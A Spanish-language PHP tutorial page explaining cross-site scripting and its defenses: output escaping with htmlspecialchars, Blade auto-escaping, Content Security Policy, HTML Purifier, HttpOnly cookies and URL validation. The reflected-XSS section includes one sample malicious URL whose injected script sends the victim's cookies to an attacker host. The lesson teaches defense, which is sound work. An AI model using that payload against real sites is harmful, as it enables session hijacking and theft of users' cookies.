Prevención de cross-site scripting (XSS)
Escape la salida con htmlspecialchars e implemente una política de seguridad de contenido.
Prevención de cross-site scripting (XSS) es una lección gratuita de PHP Academy en CoddyKit. Esta es la lección 1 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de PHP Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de PHP Academy incluye 4 lecciones en total.
¿Qué es XSS?
Secuencias de comandos entre sitios (XSS) ocurre cuando un atacante inyecta JavaScript malicioso en páginas web que otros usuarios visualizan. El script se ejecuta en el navegador de la víctima y puede acceder a su sesión, sus cookies y el DOM.
XSS reflejado
La carga maliciosa se encuentra en la URL o en un parámetro del formulario, y el servidor la refleja en la respuesta.
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>XSS almacenado
La carga maliciosa se guarda en la base de datos (por ejemplo, en un comentario o un campo del perfil) y se muestra a todos los visitantes que consultan esa página.
XSS basado en el DOM
La vulnerabilidad se encuentra completamente en el JavaScript del cliente, que inserta datos no confiables en el DOM de forma insegura mediante innerHTML o document.write.
htmlspecialchars()
Escape la salida para convertir los caracteres especiales de HTML en entidades inofensivas. Escape siempre los datos proporcionados por el usuario antes de mostrarlos.
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesEscape automático de Blade
La sintaxis {{ }} de Laravel Blade llama automáticamente a htmlspecialchars. Use {!! !!} únicamente para HTML confiable y saneado.
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>Política de seguridad de contenido (CSP)
Un encabezado HTTP CSP indica a los navegadores que solo ejecuten scripts de fuentes confiables, bloqueando los scripts insertados en línea aunque lleguen a la página.
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);Saneamiento de entradas HTML
Si debe permitir entradas HTML enriquecidas (por ejemplo, desde un editor WYSIWYG), saneelas con una biblioteca basada en una lista de permitidos, como HTML Purifier o el paquete de Laravel mews/purifier.
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);Encabezado X-XSS-Protection
Añada el encabezado X-XSS-Protection: 1; mode=block (para compatibilidad con navegadores antiguos). Los navegadores modernos utilizan CSP en su lugar.
Cookies HTTP-Only
Establecer la marca HttpOnly en las cookies de sesión impide que JavaScript las lea, lo que reduce el riesgo de robo de sesión mediante XSS incluso si se inyecta un script.
Validación de URL
No inserte nunca URL proporcionadas por el usuario en href o src sin validarlas. Una URI javascript: puede ejecutar XSS.
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}Resumen
Escape siempre la salida con htmlspecialchars (o con {{ }} de Blade). Añada una política de seguridad de contenido. Sanee las entradas HTML con una biblioteca basada en una lista de permitidos. Use cookies HttpOnly.
Comprobación rápida
¿Qué función de PHP convierte los caracteres especiales de HTML en entidades?
Preguntas frecuentes
¿La lección «Prevención de cross-site scripting (XSS)» es gratis?
Sí — el texto completo de «Prevención de cross-site scripting (XSS)» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de PHP Academy, actualiza a CoddyKit PRO. El curso de PHP Academy incluye 4 lecciones en total.
¿Qué aprenderé en «Prevención de cross-site scripting (XSS)»?
Escape la salida con htmlspecialchars e implemente una política de seguridad de contenido. Practicas PHP Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.
¿Necesito experiencia previa para empezar PHP Academy?
No se requiere experiencia previa. PHP Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 1 de 4.
¿Cuánto tiempo toma la lección «Prevención de cross-site scripting (XSS)»?
La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.
¿Puedo escribir y ejecutar código en esta lección de PHP Academy?
Sí. Cada lección de PHP Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.
Todas las lecciones de este curso
- Prevención de cross-site scripting (XSS)
- Inyección SQL y consultas parametrizadas
- Protección contra CSRF
- Almacenamiento seguro de contraseñas